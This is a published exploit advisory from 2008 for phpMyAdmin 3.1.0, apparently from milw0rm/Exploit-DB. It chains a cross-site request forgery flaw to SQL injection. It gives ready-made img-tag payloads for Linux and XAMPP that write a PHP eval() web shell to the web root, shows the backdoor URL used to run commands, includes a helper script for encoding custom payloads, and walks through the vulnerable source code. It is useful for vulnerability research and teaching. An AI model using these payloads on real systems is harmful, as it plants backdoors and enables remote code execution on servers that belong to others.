phpMyAdmin 3.1.0 - Cross-Site Request Forgery / SQL Injection

EDB-ID:

7382


Platform:

PHP

Published:

2008-12-08

Written by Michael Brooks
Special Thanks to str0ke and rGod

Intro:
phpMyAdmin is by far the most popular PHP project.    Between
phpmyadmin  and the xampp project  there are more than 34+ million
downloads from sourceforge.net .   This exploit was released along
side  XSRF attacks against XAMPP and Simple Directory Listing
effectively breaking the top 3 php projects in the same day.

Vulnerable Software info:
SQL injection in phpMyAdmin by means of XSRF.
Exploit tested on Version 3.1.0  release on: 2008-12-01
Works with magic_quotes_gpc=On or Off.

Exploit information:
This is a Remote php code execution PoC exploit.   The exploit is
dropping a php backdoor into /var/www/backdoor.php,  this attack will
not work on the newest Ubuntu or Fedora... machines due to AppArmor
and SELinux respectively.

This is a XSRF attack to access SQL Injection so the same rules for
executing XSRF attacks still apply.
Steps for exploitation:
1)The Victim's browser must be authenticated to phpMyAdmin at the time
of attack.
2)You must know the URL to phpMyAdmin.
3)Finly,  to execute the attack the Victim's browser then needs to
view the malicious img tag:

Exploit for *nix:
<html>
<img src="http://10.1.1.10/phpmyadmin/tbl_structure.php?db=information_schema&table=TABLES%60+where+0+union+select+char%2860%2C+63%2C+112%2C+104%2C+112%2C+32%2C+101%2C+118%2C+97%2C+108%2C+40%2C+36%2C+95%2C+71%2C+69%2C+84%2C+91%2C+101%2C+93%2C+41%2C+63%2C+62%29+into+outfile+%22%2Fvar%2Fwww%2Fbackdoor.php%22+--+1">
</html>
path:
/var/www/backdoor.php
backdoor:
<?php eval($_GET[e]);?>

Exploit for a Default XAMPP for Windows Version 1.6.8:
<html>
<img src="http://10.1.1.10/phpmyadmin/tbl_structure.php?db=information_schema&table=TABLES%60+where+0+union+select+char%2860%2C+63%2C+112%2C+104%2C+112%2C+32%2C+101%2C+118%2C+97%2C+108%2C+40%2C+115%2C+116%2C+114%2C+105%2C+112%2C+115%2C+108%2C+97%2C+115%2C+104%2C+101%2C+115%2C+40%2C+36%2C+95%2C+71%2C+69%2C+84%2C+91%2C+101%2C+93%2C+41%2C+41%2C+59%2C+63%2C+62%29+into+outfile+%22c%3A%2Fxampp%2Fhtdocs%2Fbackdoor.php%22+--+1">
</html>
path:
c:/xampp/htdocs/backdoor.php
backdoor:
<?php eval(stripslashes($_GET[e]));?>

The backdoor can be accessed via
http://10.1.1.10/backdoor.php?e=phpinfo();

As a side note, this attack is only GET based so no JavaScript or
ActionScript required!  Screw you NoScript!!!


Technical Details:
The exact sql query that is being executed:
SELECT COUNT(*) FROM `TABLES` where 0 union select char(60, 63, 112,
104, 112, 32, 101, 118, 97, 108, 40, 36, 95, 71, 69, 84, 91, 101, 93,
41, 63, 62) into outfile "/var/www/backdoor.php" -- 1`;

The char() mysql function is being used because the first SQL query is
selecting integer values.    The following php code can be used to
build a custom payload,  the current payload is: <?php
eval($_GET[e])?>

<?php
print charEncode($_GET[code]);
function charEncode($string){
	$char="char(";
	$size=strlen($string);
	for($x=0;$x<$size;$x++){
		$char.=ord($string[$x]).", ";
	}
	$char[strlen($char)-2]=")%00";
	return $char;
}
?>
retroGod  showed me this encoding method back when milw0rm still had a forum.

By default,  if this query is malformed it will redirect you to a
blank query window.  This fooled me for a while,  but then I modified
a line and then I could see that I was in fact causing a mysql error.
./phpmyadmin/libraries/dbi/mysql.dbi.lib.php line 126:
return mysql_query($query,$link);
change it to:
return mysql_query($query,$link) or die($query."<br>".mysql_error($link));

The query that is vulnerable to sql injection is being built in
./phpmyadmin/libraries/db_table_exists.lib.php on line: 63
		$_result = PMA_DBI_try_query(
                   'SELECT COUNT(*) FROM `' .
PMA_sqlAddslashes($table, true) . '`;',
                    null, PMA_DBI_QUERY_STORE);
		
The PMA_sqlAddslashes() only disrupts the use of single quotes '.
This function doesn't protect against sql injection because it ignores
back-ticks ` and  double-quotes ".


This attack is not a textbook example of XSRF, because phpMyAdmin does
have protection against XSRF.  The token used to protect requests is
generated in a secure manner:
./phpmyadmin/libraries/session.ic.php line 96:
if (!isset($_SESSION[' PMA_token '])) {
    $_SESSION[' PMA_token '] = md5(uniqid(rand(), true));
}
As a note the call to md5(); is superstitious.  It doesn't add nor
does it subtract to the session security. Possible md5() collisions do
not affect the integrity of the cryptographic nonce.

The vulnerability is because some request variables are exempt from
token's protection.  For instance the request variables 'db' and
'table'  used in the attack are not unset().
./phpmyadmin/libraries/common.inc.php line 389:
if (! PMA_isValid($_REQUEST['token']) || $_SESSION[' PMA_token '] !=
$_REQUEST['token']) {
    /**
     *  List of parameters which are allowed from unsafe source
     */
    $allow_list = array(
        /* needed for direct access, see FAQ 1.34
         * also, server needed for cookie login screen (multi-server)
         */
        'server', 'db', 'table', 'target',
        /* Session ID */
        'phpMyAdmin',
        /* Cookie preferences */
        'pma_lang', 'pma_charset', 'pma_collation_connection',
        /* Possible login form */
        'pma_servername', 'pma_username', 'pma_password',
        /* rajk - for playing blobstreamable media */
        'media_type', 'custom_type', 'bs_reference',
        /* rajk - for changing BLOB repository file MIME type */
        'bs_db', 'bs_table', 'bs_ref', 'bs_new_mime_type'
    );
    /**
     * Require cleanup functions
     */
    require_once './libraries/cleanup.lib.php';
    /**
     * Do actual cleanup
     */
    PMA_remove_request_vars($allow_list);

}

and  PMA_remove_request_vars() is in ./phpmyadmin/librarires/cleanup.lib.php:

function PMA_remove_request_vars(&$whitelist)
{
    // do not check only $_REQUEST because it could have been overwritten
    // and use type casting because the variables could have become
    // strings
    $keys = array_keys(array_merge((array)$_REQUEST, (array)$_GET,
(array)$_POST, (array)$_COOKIE));

    foreach($keys as $key) {
        if (! in_array($key, $whitelist)) {
            unset($_REQUEST[$key], $_GET[$key], $_POST[$key], $GLOBALS[$key]);
        } else {
            // allowed stuff could be compromised so escape it
            // we require it to be a string
            if (isset($_REQUEST[$key]) && ! is_string($_REQUEST[$key])) {
                unset($_REQUEST[$key]);
            }
            if (isset($_POST[$key]) && ! is_string($_POST[$key])) {
                unset($_POST[$key]);
            }
            if (isset($_COOKIE[$key]) && ! is_string($_COOKIE[$key])) {
                unset($_COOKIE[$key]);
            }
            if (isset($_GET[$key]) && ! is_string($_GET[$key])) {
                unset($_GET[$key]);
            }
        }
    }
}
As a note,  the & in this function declaration
PMA_remove_request_vars(&$whitelist) means to pass the variable by
reference,  however this function doesn't use that variable reference.
   Again this is superstitious because it has no effect on the code
its self.

# milw0rm.com [2008-12-08]